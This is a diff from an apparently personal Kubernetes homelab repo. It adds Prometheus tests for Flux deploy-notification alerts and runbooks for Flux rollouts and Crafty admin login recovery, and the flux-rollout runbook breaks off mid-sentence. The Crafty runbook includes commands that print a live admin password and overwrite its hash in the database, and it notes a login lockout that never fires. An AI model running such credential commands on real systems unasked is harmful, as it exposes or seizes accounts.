+# Run with: platform/monitoring/tests/run.sh   (the merge gate runs the same harness via
+#           conformance/tests/l0-static/alert-rules-unit-tested)
+#
+# WHY THESE TESTS CARRY MORE WEIGHT THAN USUAL. This pair is a NOTIFICATION, so both failure
+# directions are silent in production and neither is visible on a healthy cluster:
+#   * fire when it should not -> a permanently-firing "deploy in progress" that mails on every
+#     repeat_interval and trains the operator to ignore Flux mail. Shipped once already in this
+#     repo (CNPG, 2026-09-12).
+#   * fail to fire -> no deploy notification at all, which is the exact complaint this pair was
+#     written to answer. Indistinguishable from "no deploys happened".
+# So every clause is pinned in both directions here, and the two GUARDS in the expression (the
+# missing-exporter guard and the suspended-Kustomization exclusion) each get a test whose ONLY
+# job is to fail if that clause is deleted.
+#
+# MODELLING A REVISION CHANGE. `revision` is a LABEL, so a Kustomization moving from revision A to
+# revision B is modelled as series A ending and series B beginning — not as one series changing
+# value. Prometheus' 5m lookback then means series A is still resolvable for 5m after its last
+# sample, so every eval_time below is placed at least 5m clear of a handoff. That is deliberate:
+# it keeps these tests about the RULE and not about staleness semantics.
+#
+# Sample interval 1m; the longest `for` under test is 30m.
+rule_files:
+  - generated.rules.yaml
+
+evaluation_interval: 1m
+
+tests:
+  # =============================================================================================
+  # 1. CONVERGED — the steady state this cluster is in almost all of the time.
+  #    Both rules MUST be silent. This is the "not permanently firing" half of the proof, and it
+  #    is the test that fails if `unless on (revision)` is mis-spelled: the left-hand side is
+  #    non-empty here, and only the revision match suppresses it.
+  # =============================================================================================
+  - interval: 1m
+    name: converged (every Kustomization on the GitRepository revision) - silent
+    input_series:
+      - series: 'kube_flux_gitrepository_info{job="kube-state-metrics",namespace="flux-system",name="flux-system",revision="main@sha1:aaaaaaa",customresource_group="source.toolkit.fluxcd.io",customresource_kind="GitRepository",customresource_version="v1"}'
+        values: '1x40'
+      - series: 'kube_flux_kustomization_info{job="kube-state-metrics",namespace="flux-system",name="platform",revision="main@sha1:aaaaaaa",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '1x40'
+      - series: 'kube_flux_kustomization_info{job="kube-state-metrics",namespace="flux-system",name="apps-wave-0",revision="main@sha1:aaaaaaa",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '1x40'
+      - series: 'kube_flux_kustomization_suspended{job="kube-state-metrics",namespace="flux-system",name="platform",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '0x40'
+      - series: 'kube_flux_kustomization_suspended{job="kube-state-metrics",namespace="flux-system",name="apps-wave-0",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '0x40'
+    alert_rule_test:
+      - eval_time: 35m
+        alertname: FluxRolloutInProgress
+        exp_alerts: []
+      - eval_time: 35m
+        alertname: FluxRolloutStuck
+        exp_alerts: []
+
+  # =============================================================================================
+  # 2. A COMMIT LANDS — the notification this whole change exists to produce.
+  #    GitRepository moves to revision bbbbbbb at t=11m. apps-wave-0 catches up at t=14m;
+  #    `platform` never does.
+  #      t=25m -> FluxRolloutInProgress fires for `platform` ONLY (apps-wave-0 has converged),
+  #               and FluxRolloutStuck is still quiet because its 30m has not elapsed.
+  #      t=50m -> both fire. ("started and never finished" is a real, separate condition.)
+  # =============================================================================================
+  - interval: 1m
+    name: new revision on main - InProgress fires for the lagging Kustomization only
+    input_series:
+      # The old artifact revision ends at t=10m, the new one starts at t=11m.
+      - series: 'kube_flux_gitrepository_info{job="kube-state-metrics",namespace="flux-system",name="flux-system",revision="main@sha1:aaaaaaa",customresource_group="source.toolkit.fluxcd.io",customresource_kind="GitRepository",customresource_version="v1"}'
+        values: '1x10'
+      - series: 'kube_flux_gitrepository_info{job="kube-state-metrics",namespace="flux-system",name="flux-system",revision="main@sha1:bbbbbbb",customresource_group="source.toolkit.fluxcd.io",customresource_kind="GitRepository",customresource_version="v1"}'
+        values: '_x10 1x70'
+      # `platform` stays on the old revision for the whole test.
+      - series: 'kube_flux_kustomization_info{job="kube-state-metrics",namespace="flux-system",name="platform",revision="main@sha1:aaaaaaa",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '1x80'
+      # apps-wave-0 catches up at t=14m.
+      - series: 'kube_flux_kustomization_info{job="kube-state-metrics",namespace="flux-system",name="apps-wave-0",revision="main@sha1:aaaaaaa",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '1x8'
+      - series: 'kube_flux_kustomization_info{job="kube-state-metrics",namespace="flux-system",name="apps-wave-0",revision="main@sha1:bbbbbbb",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '_x13 1x67'
+      - series: 'kube_flux_kustomization_suspended{job="kube-state-metrics",namespace="flux-system",name="platform",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '0x80'
+      - series: 'kube_flux_kustomization_suspended{job="kube-state-metrics",namespace="flux-system",name="apps-wave-0",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '0x80'
+    alert_rule_test:
+      # The deploy notification, ~14m after the commit was fetched. Exactly ONE alert: a rule that
+      # ignored the revision match would also list apps-wave-0, which has already converged.
+      - eval_time: 25m
+        alertname: FluxRolloutInProgress
+        exp_alerts:
+          - exp_labels:
+              notification: deploy
+              job: kube-state-metrics
+              namespace: flux-system
+              name: platform
+              revision: "main@sha1:aaaaaaa"
+              customresource_group: kustomize.toolkit.fluxcd.io
+              customresource_kind: Kustomization
+              customresource_version: v1
+            exp_annotations:
+              summary: "Flux is applying a new revision — platform is behind main"
+              description: "Kustomization flux-system/platform has applied main@sha1:aaaaaaa, which is not the revision the flux-system GitRepository has fetched from main. THIS MAIL MEANS A GIT CHANGE STARTED ROLLING OUT; the RESOLVED mail for this same alert means every Kustomization reached the new revision and the rollout is complete."
+              runbook_url: "https://${BASE_DOMAIN}/runbooks/flux-rollout"
+      # `for: 30m` on the escalation is real — not yet firing 14m in.
+      - eval_time: 25m
+        alertname: FluxRolloutStuck
+        exp_alerts: []
+      # ...and it does fire once the rollout has genuinely hung.
+      - eval_time: 50m
+        alertname: FluxRolloutStuck
+        exp_alerts:
+          - exp_labels:
+              severity: warning
+              job: kube-state-metrics
+              namespace: flux-system
+              name: platform
+              revision: "main@sha1:aaaaaaa"
+              customresource_group: kustomize.toolkit.fluxcd.io
+              customresource_kind: Kustomization
+              customresource_version: v1
+            exp_annotations:
+              summary: "Flux rollout has not completed: platform stuck on an old revision"
+              description: "Kustomization flux-system/platform has been behind the flux-system GitRepository revision for 30m (applied main@sha1:aaaaaaa) — a git change started rolling out and has not converged. Check the Kustomization's Ready condition and its dependencies."
+              runbook_url: "https://${BASE_DOMAIN}/runbooks/flux-rollout"
+
+  # =============================================================================================
+  # 3. THE ROLLOUT COMPLETES -> the alert clears, which is what sends the "applied" mail.
+  #    Without this test the completion half of the feature is unproven: an expression that fired
+  #    correctly but never emptied itself would pass test 2 and still never deliver a resolved
+  #    notification.
+  # =============================================================================================
+  - interval: 1m
+    name: rollout completes - InProgress clears (this is the resolved/completion notification)
+    input_series:
+      - series: 'kube_flux_gitrepository_info{job="kube-state-metrics",namespace="flux-system",name="flux-system",revision="main@sha1:aaaaaaa",customresource_group="source.toolkit.fluxcd.io",customresource_kind="GitRepository",customresource_version="v1"}'
+        values: '1x10'
+      - series: 'kube_flux_gitrepository_info{job="kube-state-metrics",namespace="flux-system",name="flux-system",revision="main@sha1:bbbbbbb",customresource_group="source.toolkit.fluxcd.io",customresource_kind="GitRepository",customresource_version="v1"}'
+        values: '_x10 1x70'
+      - series: 'kube_flux_kustomization_info{job="kube-state-metrics",namespace="flux-system",name="platform",revision="main@sha1:aaaaaaa",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '1x20'
+      - series: 'kube_flux_kustomization_info{job="kube-state-metrics",namespace="flux-system",name="platform",revision="main@sha1:bbbbbbb",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '_x23 1x57'
+      - series: 'kube_flux_kustomization_suspended{job="kube-state-metrics",namespace="flux-system",name="platform",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '0x80'
+    alert_rule_test:
+      # Mid-rollout: firing.
+      - eval_time: 20m
+        alertname: FluxRolloutInProgress
+        exp_alerts:
+          - exp_labels:
+              notification: deploy
+              job: kube-state-metrics
+              namespace: flux-system
+              name: platform
+              revision: "main@sha1:aaaaaaa"
+              customresource_group: kustomize.toolkit.fluxcd.io
+              customresource_kind: Kustomization
+              customresource_version: v1
+            exp_annotations:
+              summary: "Flux is applying a new revision — platform is behind main"
+              description: "Kustomization flux-system/platform has applied main@sha1:aaaaaaa, which is not the revision the flux-system GitRepository has fetched from main. THIS MAIL MEANS A GIT CHANGE STARTED ROLLING OUT; the RESOLVED mail for this same alert means every Kustomization reached the new revision and the rollout is complete."
+              runbook_url: "https://${BASE_DOMAIN}/runbooks/flux-rollout"
+      # Converged (5m clear of the old series' last sample at t=20m): silent, and it never had
+      # 30m of continuous firing, so the escalation must not have fired either.
+      - eval_time: 32m
+        alertname: FluxRolloutInProgress
+        exp_alerts: []
+      - eval_time: 32m
+        alertname: FluxRolloutStuck
+        exp_alerts: []
+
+  # =============================================================================================
+  # 4. GUARD 1 — kube_flux_gitrepository_info ABSENT (KSM rolled without the ConfigMap, the flux
+  #    RBAC was lost, customResourceState reverted). `unless on (revision) <empty set>` removes
+  #    NOTHING, so without the `and on () (count(...) > 0)` guard EVERY Kustomization alerts
+  #    forever. This test exists to go red the moment that guard is deleted.
+  #    Correct behaviour is SILENCE: a broken exporter is FluxReconciliationFailure's job and the
+  #    platform-health.monitoring-self rules', not a deploy notification's.
+  # =============================================================================================
+  - interval: 1m
+    name: GUARD - GitRepository metric absent - silent, NOT 16 alerts forever
+    input_series:
+      - series: 'kube_flux_kustomization_info{job="kube-state-metrics",namespace="flux-system",name="platform",revision="main@sha1:aaaaaaa",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '1x60'
+      - series: 'kube_flux_kustomization_info{job="kube-state-metrics",namespace="flux-system",name="apps-wave-0",revision="main@sha1:aaaaaaa",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '1x60'
+      - series: 'kube_flux_kustomization_suspended{job="kube-state-metrics",namespace="flux-system",name="platform",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '0x60'
+      - series: 'kube_flux_kustomization_suspended{job="kube-state-metrics",namespace="flux-system",name="apps-wave-0",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '0x60'
+    promql_expr_test:
+      # Stated explicitly so the reason for the silence is unambiguous in the test output: the
+      # guard's own count is empty, not merely false.
+      - expr: 'count(kube_flux_gitrepository_info{name="flux-system", revision!=""})'
+        eval_time: 45m
+        exp_samples: []
+    alert_rule_test:
+      - eval_time: 45m
+        alertname: FluxRolloutInProgress
+        exp_alerts: []
+      - eval_time: 45m
+        alertname: FluxRolloutStuck
+        exp_alerts: []
+
+  # =============================================================================================
+  # 5. GUARD 2 — a SUSPENDED Kustomization pins an old revision by design. It must not hold the
+  #    rollout notification open (or the "applied" mail never arrives), while a non-suspended
+  #    Kustomization on the same old revision MUST still alert.
+  #    Both halves are asserted in one test on purpose: an `unless` written with the wrong labels
+  #    would suppress EVERYTHING and would pass a suppression-only test.
+  # =============================================================================================
+  - interval: 1m
+    name: GUARD - suspended Kustomization excluded, non-suspended one still alerts
+    input_series:
+      - series: 'kube_flux_gitrepository_info{job="kube-state-metrics",namespace="flux-system",name="flux-system",revision="main@sha1:bbbbbbb",customresource_group="source.toolkit.fluxcd.io",customresource_kind="GitRepository",customresource_version="v1"}'
+        values: '1x40'
+      # Suspended and behind -> excluded.
+      - series: 'kube_flux_kustomization_info{job="kube-state-metrics",namespace="flux-system",name="platform",revision="main@sha1:aaaaaaa",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '1x40'
+      - series: 'kube_flux_kustomization_suspended{job="kube-state-metrics",namespace="flux-system",name="platform",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '1x40'
+      # Not suspended and behind -> must alert.
+      - series: 'kube_flux_kustomization_info{job="kube-state-metrics",namespace="flux-system",name="conformance",revision="main@sha1:aaaaaaa",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '1x40'
+      - series: 'kube_flux_kustomization_suspended{job="kube-state-metrics",namespace="flux-system",name="conformance",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '0x40'
+    alert_rule_test:
+      - eval_time: 20m
+        alertname: FluxRolloutInProgress
+        exp_alerts:
+          - exp_labels:
+              notification: deploy
+              job: kube-state-metrics
+              namespace: flux-system
+              name: conformance
+              revision: "main@sha1:aaaaaaa"
+              customresource_group: kustomize.toolkit.fluxcd.io
+              customresource_kind: Kustomization
+              customresource_version: v1
+            exp_annotations:
+              summary: "Flux is applying a new revision — conformance is behind main"
+              description: "Kustomization flux-system/conformance has applied main@sha1:aaaaaaa, which is not the revision the flux-system GitRepository has fetched from main. THIS MAIL MEANS A GIT CHANGE STARTED ROLLING OUT; the RESOLVED mail for this same alert means every Kustomization reached the new revision and the rollout is complete."
+              runbook_url: "https://${BASE_DOMAIN}/runbooks/flux-rollout"
+
+  # =============================================================================================
+  # 6. A Kustomization that has NEVER applied anything publishes no `revision` label at all (KSM
+  #    omits absent paths). `revision!=""` must drop it rather than let it group under the empty
+  #    string and compare equal to the GitRepository revision.
+  # =============================================================================================
+  - interval: 1m
+    name: never-applied Kustomization (no revision label) is not counted as converged or lagging
+    input_series:
+      - series: 'kube_flux_gitrepository_info{job="kube-state-metrics",namespace="flux-system",name="flux-system",revision="main@sha1:bbbbbbb",customresource_group="source.toolkit.fluxcd.io",customresource_kind="GitRepository",customresource_version="v1"}'
+        values: '1x40'
+      # No `revision` label at all — this is what KSM publishes for status.lastAppliedRevision="".
+      - series: 'kube_flux_kustomization_info{job="kube-state-metrics",namespace="flux-system",name="brand-new",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '1x40'
+      - series: 'kube_flux_kustomization_suspended{job="kube-state-metrics",namespace="flux-system",name="brand-new",customresource_group="kustomize.toolkit.fluxcd.io",customresource_kind="Kustomization",customresource_version="v1"}'
+        values: '0x40'
+    alert_rule_test:
+      # Silent: FluxReconciliationFailure (Ready=False for 15m) is what covers a Kustomization
+      # that cannot apply at all. This pair only ever speaks about revisions it can compare.
+      - eval_time: 30m
+        alertname: FluxRolloutInProgress
+        exp_alerts: []
+      - eval_time: 30m
+        alertname: FluxRolloutStuck
+        exp_alerts: []

runbooks/README.md

@@ -115,6 +115,28 @@ Each affected runbook says so on its own page and gives the by-hand equivalent.
   plex.tv/claim — so it is a timed sequence, scripted as `infra/plex/claim-ship.sh`:
   token → `sops` → PR → gate → merge → **forced** `flux reconcile` → pod roll (~2m45s measured).
   Includes why a changed Secret does not restart anything, and why an expired token is harmless.
+- **`plex-quicksync`** — hardware transcoding on the host iGPU. GitOps puts `/dev/dri` in the pod
+  (`hardware.gpu: intel-quicksync`); **a human still has to tick Settings → Transcoder → "Use hardware
+  acceleration when available"**, and no environment variable can do it (the image supports no
+  `PLEX_PREFERENCE*`, verified). The page names the real preference key (`HardwareAcceleratedCodecs`,
+  read out of the binary), says which widely-cited key **does not exist**, and is explicit that the
+  **only** proof is `Transcode (hw)` on the Plex dashboard — Plex renders no ServiceMonitor, so no
+  alert could ever fire. Also: the device-cgroup failure to expect first and its device-plugin
+  fallback, and why a `:latest` pull can silently break it.
+- **`oauth2-proxy-session`** — a gated UI loads but its saves quietly do nothing, and you are never
+  re-prompted to log in. Tells the three stacked auth layers apart from the sidecar's own access log
+  (the four lines that matter, including the upstream `-` that means the proxy answered a request the
+  app never saw). Covers the cookie collision between per-app sidecars sharing the default
+  `_oauth2_proxy` name on `.home.keithjackson.dev` — which deletes sessions belonging to apps in
+  *other* namespaces and is only legible with two logs side by side — the 5-minute access-token
+  session with no `--cookie-refresh`, and why an XHR answered with a 302 instead of a 401 loses a
+  POST body silently.
+- **`crafty-admin-credential`** — you signed into Keycloak and Crafty *still* asks for a password.
+  Expected: Crafty 4 has no OIDC, so its own local login sits behind the oauth2-proxy gate as a second
+  factor. The page tells the two layers apart from the sidecar log, and explains that the bootstrap
+  password exists **only** on the PVC (`default-creds.txt`, generated once on first boot, never in git).
+  Includes the argon2 reset for a lost password, why the 3-strikes lockout cannot fire behind the
+  sidecar, and why deleting `crafty.sqlite` to force a new password destroys every server definition.
 
 ### Virtualisation
 - **`kubevirt-control-plane`** — VM lifecycle operations will fail; running VMs keep running.

runbooks/crafty-admin-credential.md

@@ -0,0 +1,179 @@
+# crafty-admin-credential — Crafty's own login rejects you after Keycloak sign-in
+
+**Not alert-driven.** This is an operator procedure, linked from
+[`platform/crafty/README.md`](../platform/crafty/README.md). It covers getting into the Crafty panel the
+first time, rotating that credential, and recovering when it is lost.
+
+> **Everything below prints or sets a LIVE credential.** Do not paste the output into a PR, an issue, a
+> chat, or an AI agent transcript. Read it, use it, rotate it. (Repo rule §6: secrets never enter a
+> transcript.)
+
+## What this means here
+
+`crafty.home.keithjackson.dev` sits behind **two** independent authentications, and only the first is
+Keycloak's:
+
+1. the **oauth2-proxy sidecar** in the Crafty pod — Keycloak `homelab` realm, group `platform-admins`;
+2. **Crafty's own local username/password login** — Crafty 4 has no OIDC and cannot consume the
+   sidecar's identity headers, so it shows its own login page to an already-authenticated user.
+
+So "I signed into Keycloak and I'm still not signed in" is the **expected** shape of this service, and
+the real question is only ever *which* of the two rejected you. They fail differently:
+
+| Where you are | What you see | Which layer |
+|---|---|---|
+| Bounced to Keycloak repeatedly, never reach Crafty | sidecar log: `No valid authentication in request` | oauth2-proxy |
+| Authenticated but `403` | not in `platform-admins` | oauth2-proxy |
+| **Crafty's own login page, credentials refused** | `POST /api/v2/auth/login/` → **401** | **Crafty local** |
+
+The third row is the one that blocks setup, because **nothing in the UI tells you where that password
+comes from**. Crafty generates it **once, on first boot only** — when the users table is empty
+(`main.py` `FRESH_INSTALL` → `DatabaseBuilder.default_settings()`) — and writes it to
+`/crafty/app/config/default-creds.txt` (mode `0600`) on the `config` subPath of the `crafty-data` PVC.
+It is **never in git** and **cannot be recovered from git**: a rebuild onto a fresh PVC generates a new
+random password, and the old one is gone with the old volume.
+
+Two things that are *not* the problem, both verified live:
+
+- **Repeated wrong guesses cannot lock you out.** Crafty *records* failed attempts under
+  `get_remote_ip()` (honours `X-Forwarded-For`) but *checks* the 3-strikes cooldown under
+  `self.request.remote_ip`, which behind the sidecar is always `127.0.0.1`. The halves key
+  differently, so `max_login_attempts: 3` never fires. (It also means that throttle is not a control
+  you have — the `platform-admins` gate is what limits who reaches the form at all.)
+- **Crafty's `set_passwd` console command is unreachable here.** It calls `getpass.getpass()` and needs
+  a TTY; the container runs `main.py -d -i` as a daemon. Recovery goes through the DB instead.
+
+## First commands
+
+`kubectl` does not exist on the workstation — the toolchain lives only in the pinned dev container, and
+`dev.sh` picks a current-context **per invocation**, so always name the context.
+
+**1. Is the pod healthy, and is the password still the generated one?**
+
+```bash
+./infra/devcontainer/dev.sh run bash -c '
+kubectl --context k3s-prod -n crafty get pods -l app.kubernetes.io/name=crafty
+kubectl --context k3s-prod -n crafty exec deploy/crafty -c crafty -- python3 -c "
+import sqlite3
+c=sqlite3.connect(\"file:/crafty/app/config/db/crafty.sqlite?mode=ro\",uri=True)
+for r in c.execute(\"SELECT username,created,last_update,last_login FROM users WHERE user_id=1\"):
+    print(\"created    :\",r[1]); print(\"last_update:\",r[2]); print(\"last_login :\",r[3])
+"'
+```
+
+Read `last_update` against `created`: **equal ⇒ the password has never been changed**, so
+`default-creds.txt` is still live. Different ⇒ someone rotated it and that file is stale — skip to
+*Reset*.
+
+**2. Read the bootstrap credential** (prints a live secret — see the warning at the top):
+
+```bash
+./infra/devcontainer/dev.sh run bash -c \
+  'kubectl --context k3s-prod -n crafty exec deploy/crafty -c crafty -- cat /crafty/app/config/default-creds.txt'
+```
+
+The username is `admin`. Sign in at `https://crafty.home.keithjackson.dev` (Keycloak first, then this).
+
+**3. Rotate it immediately**, in the UI: user menu → your profile → change password. That is the only
+supported path that keeps Crafty's own bookkeeping consistent. Then confirm it took — re-run command 1
+and check `last_update` has moved away from `created`.
+
+## Likely causes, most likely first
+
+1. **You never had the password.** By far the most common, and the reason this runbook exists. The
+   credential was only ever on the PVC. → commands 1–3 above.
+2. **The password was rotated and not recorded.** `last_update` ≠ `created` while nobody knows the
+   value. `default-creds.txt` is now misleading, not authoritative. → *Reset* below.
+3. **The PVC was rebuilt.** A fresh volume means a fresh random password *and* an empty panel — no
+   servers, no worlds (`platform/crafty/README.md`, "the servers themselves are NOT in git"). Read
+   `default-creds.txt` from the new pod; do not expect the old credential to work.
+4. **You are actually stuck at the oauth2-proxy layer, not Crafty's.** Check which layer is talking
+   before touching any password:
+   ```bash
+   ./infra/devcontainer/dev.sh run bash -c \
+     'kubectl --context k3s-prod -n crafty logs deploy/crafty -c oauth2-proxy --tail=200 | grep -v kube-probe'
+   ```
+   `[AuthSuccess] ... groups:[platform-admins]` followed by a `200` on `/login` means oauth2-proxy did
+   its job and the 401 is Crafty's. Repeated `No valid authentication in request` with no `AuthSuccess`
+   means the session cookie is not surviving — see *cookie isolation* in
+   `platform/crafty/README.md`; this sidecar must keep its own `--cookie-name` distinct from the shared
+   proxy's, or the two evict each other.
+5. **`platform-admins` membership lapsed.** A `403` rather than a login page. Fix in Keycloak, not here.
+
+## Reset when the password is unknown
+
+Crafty stores an **argon2** hash in `users.password`. This writes a fresh random password, invalidates
+existing sessions, and drops the new value into a `0600` file **inside the pod** — deliberately
+mirroring Crafty's own `default-creds.txt` idiom so the secret never crosses argv, stdin or shell
+history. (`dev.sh` does **not** forward stdin — a `kubectl exec -i` here hangs forever, which is why the
+password is generated in-pod rather than passed in.)
+
+Two details that will otherwise cost you the afternoon: argon2 is installed **only** in Crafty's venv,
+so it must be `/crafty/.venv/bin/python`, not the system `python3`; and this is a **mutating operator
+action**, not an agent action.
+
+```bash
+./infra/devcontainer/dev.sh run bash -c \
+ 'kubectl --context k3s-prod -n crafty exec deploy/crafty -c crafty -- /crafty/.venv/bin/python -c "
+import os, secrets, sqlite3, string, datetime
+from argon2 import PasswordHasher
+pw  = \"\".join(secrets.choice(string.ascii_letters + string.digits) for _ in range(24))
+now = datetime.datetime.now()
+c   = sqlite3.connect(\"/crafty/app/config/db/crafty.sqlite\", timeout=30)
+cur = c.execute(
+    \"UPDATE users SET password=?, last_update=?, valid_tokens_from=? WHERE username=?\",
+    (PasswordHasher().hash(pw), str(now),
+     str(datetime.datetime.now(datetime.timezone.utc)), \"admin\"),
+)
+c.commit()
+print(\"rows updated:\", cur.rowcount)
+out = \"/crafty/app/config/reset-creds.txt\"
+open(out, \"w\").write(pw + chr(10))
+os.chmod(out, 0o600)
+print(\"new password written to\", out)
+"'
+```
+
+Expect `rows updated: 1`. Then read it, sign in, rotate in the UI, and delete the file:
+
+```bash
+./infra/devcontainer/dev.sh run bash -c \
+  'kubectl --context k3s-prod -n crafty exec deploy/crafty -c crafty -- cat /crafty/app/config/reset-creds.txt'
+# after signing in and rotating:
+./infra/devcontainer/dev.sh run bash -c \
+  'kubectl --context k3s-prod -n crafty exec deploy/crafty -c crafty -- rm -f /crafty/app/config/reset-creds.txt'
+```
+
+`rows updated: 0` means the username is not `admin` — list the accounts (names only, never the
+`password` column) and retry against the right one:
+
+```bash
+./infra/devcontainer/dev.sh run bash -c \
+ 'kubectl --context k3s-prod -n crafty exec deploy/crafty -c crafty -- python3 -c "
+import sqlite3
+c=sqlite3.connect(\"file:/crafty/app/config/db/crafty.sqlite?mode=ro\",uri=True)
+print([r[0] for r in c.execute(\"SELECT username FROM users\")])
+"'
+```
+
+`database is locked` means Crafty held the write lock; the `timeout=30` usually rides it out, otherwise
+retry. The panel picks the new hash up on the next login attempt — no restart needed, and a restart
+costs a Minecraft-server stop (`strategy: Recreate` on an RWO volume), so do not restart reflexively.
+
+## When to escalate or stop
+
+- **Stop** as soon as you can sign in, and **rotate immediately** — do not leave the generated
+  bootstrap password in place as the standing admin credential, and do not leave `reset-creds.txt` on
+  the PVC.
+- **Do not `kubectl edit`/`patch`/`apply`** the Deployment to work around a login problem. Flux
+  reconciles `main`; hand-applied changes are drift. Manifest changes go through a branch and a PR.
+- **Do not delete `crafty.sqlite`** to force a "fresh install" and a new generated password. It holds
+  every server definition — jar, ports, heap, `auto_start` — and losing it means recreating each server
+  by hand, re-accepting the Mojang EULA, and re-`PATCH`ing `auto_start`. The worlds under
+  `/crafty/servers/<uuid>/` are not in git and not recreatable. The reset above is always cheaper.
+- **Escalate to the Keycloak side** (`runbooks/keycloak-down.md`,
+  `runbooks/keycloak-client-secrets.md`) if there is no `AuthSuccess` in the sidecar log at all — that
+  is an IdP or client-secret problem and no Crafty password will help.
+- **If `default-creds.txt` is absent on a pod whose DB says the password was never changed**, stop and
+  hand off: that combination should not occur, and it suggests the `config` subPath is not the volume
+  you think it is. Record what you measured rather than guessing.

runbooks/flux-rollout.md

@@ -0,0 +1,118 @@
+# flux-rollout — a git change is rolling out, or has stopped halfway
+
+**Alerts:** `FluxRolloutInProgress` (info, no `for:`) and `FluxRolloutStuck` (warning, 30m)
+**File:** `platform/monitoring/alerts.yaml`, group `platform-health.flux`
+**Metrics:** `kube_flux_kustomization_info` / `kube_flux_kustomization_suspended` /
+`kube_flux_gitrepository_info` — kube-state-metrics custom-resource-state, configured in
+`platform/monitoring/kube-prometheus-stack.yaml`
+
+## What this means here
+
+These two are the **deploy notification**, not a fault report. On this cluster merging a PR into
+`main` IS the deploy, and until this pair existed nothing told you a deploy had begun: the Flux event
+stream emits `ReconciliationSucceeded` on every 10-minute tick whether or not anything changed (101
+such events in one hour, measured 2026-09-29), so "applying a commit" and "idle" looked identical.
+
+The pair reads the one signal that moves only when git moves — the **applied revision**:
+
+- `GitRepository/flux-system` `.status.artifact.revision` — what `main` is (polled every 1m)
+- `Kustomization/*` `.status.lastAppliedRevision` — what each tier has actually applied
+
+**`FluxRolloutInProgress` fires** the moment any non-suspended Kustomization's applied revision is
+not the revision fetched from `main`, and **clears when every one of them has caught up**. So:
+
+| Mail | Subject | Means |
+|---|---|---|
+| firing | `[FLUX] applying — FluxRolloutInProgress` | a commit started rolling out |
+| resolved | `[FLUX] applied — FluxRolloutInProgress` | every Kustomization reached it; rollout complete |
+
+Both are expected, routine, and not a problem. The `severity: info` label routes them to the
+dedicated `email-deploy` Alertmanager receiver so they never arrive subject-lined `[WARNING]`.
+
+**`FluxRolloutStuck` is the one that matters.** Same expression, `for: 30m`, `severity: warning`. It
+means a deploy started and did not converge — the "applying" mail arrived and the "applied" mail
+never did. The 14-tier chain is dependency-ordered and revision-gated, so a single stalled tier holds
+every tier below it on "dependency not ready".
+
+## First commands
+
+`kubectl` does not work on the workstation — the toolchain lives only in the pinned container, and
+the context must always be named explicitly.
+
+Which tiers are behind, and on what:
+
+```bash
+./infra/devcontainer/dev.sh run bash -c '
+  kubectl --context k3s-prod -n flux-system get gitrepository flux-system \
+    -o jsonpath="WANTED: {.status.artifact.revision}{\"\n\"}"
+  kubectl --context k3s-prod get kustomizations -A \
+    -o custom-columns="NAME:.metadata.name,APPLIED:.status.lastAppliedRevision,READY:.status.conditions[?(@.type==\"Ready\")].status"'
+```
+
+Any row whose `APPLIED` differs from `WANTED` is a tier this alert is naming. Then ask **why** that
+tier is not moving — its Ready condition carries the reason:
+
+```bash
+./infra/devcontainer/dev.sh run bash -c '
+  kubectl --context k3s-prod -n flux-system get kustomization <name> \
+    -o jsonpath="{range .status.conditions[*]}{.type}={.status} {.reason}: {.message}{\"\n\"}{end}"'
+```
+
+Confirm the alert is reading live data rather than a stale exporter:
+
+```bash
+./infra/devcontainer/dev.sh run bash -c '
+  POD=$(kubectl --context k3s-prod -n monitoring get pod -l app.kubernetes.io/name=prometheus -o name | head -1)
+  kubectl --context k3s-prod -n monitoring exec "$POD" -c prometheus -- \
+    /bin/promtool query instant http://localhost:9090 "count by (__name__) ({__name__=~\"kube_flux.*\"})"'
+```
+
+Three names must come back (`kube_flux_kustomization_info`, `kube_flux_kustomization_suspended`,
+`kube_flux_gitrepository_info`). If that query is **empty**, the alerts are inert — go to the last
+cause below.
+
+## Likely causes, most likely first
+
+1. **Nothing is wrong — the rollout is simply in flight.** Most Kustomizations reconcile on a 10m
+   interval and the chain is sequential, so several minutes between the "applying" and "applied"
+   mails is normal. `cilium` is on a 1h interval and can legitimately be the last to converge.
+2. **A gating tier is unhealthy, so everything below it is parked.** Look for `DependencyNotReady`
+   in the stuck tier's message and walk *up* the chain to the first tier that is not Ready; that one
+   is the real fault. Its own alert (`FluxReconciliationFailure`) and runbook `flux-reconcile` own it.
+3. **A Kustomization is suspended.** A suspended tier is excluded from this alert by design (so it
+   cannot hold the "applied" mail open forever), but anything that `dependsOn` it still stalls and
